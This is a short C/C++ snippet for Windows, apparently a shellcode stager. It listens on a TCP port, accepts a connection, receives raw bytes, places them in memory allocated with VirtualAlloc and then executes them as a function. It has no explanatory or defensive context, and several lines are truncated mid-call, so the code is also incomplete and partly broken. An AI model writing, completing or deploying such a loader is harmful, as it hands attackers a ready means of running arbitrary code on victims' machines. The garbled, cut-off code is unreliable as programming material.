#pragma comment(lib, "ws2_32.lib")
LPWSADATA wsaData = new WSAData();
SOCKET listenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
CHAR bufferReceivedBytes[4096] = { 0 };
ADDRINFOA* SocketHint = new ADDRINFOA();
ADDRINFOA* AddrInfo = new ADDRINFOA();
SocketHint->ai_family = AF_INET;
SocketHint->ai_socktype = SOCK_STREAM;
SocketHint->ai_protocol = IPPROTO_TCP;
SocketHint->ai_flags = AI_PASSIVE;
WSAStartup(MAKEWORD(2, 2), wsaData);
GetAddrInfoA(NULL, port, SocketHint, &AddrInfo);
listenSocket = socket(AddrInfo->ai_family, AddrInfo->ai_socktype,
bind(listenSocket, AddrInfo->ai_addr, AddrInfo->ai_addrlen);
listen(listenSocket, SOMAXCONN);
ClientSocket = accept(listenSocket, NULL, NULL);
RecvBytes = recv(ClientSocket, bufferReceivedBytes, sizeof(bufferReceivedBytes),
LPVOID shellcode = VirtualAlloc(NULL, RecvBytes, MEM_COMMIT | MEM_RESERVE,
memcpy(shellcode, bufferReceivedBytes, sizeof(bufferReceivedBytes));
((void(*)()) shellcode)();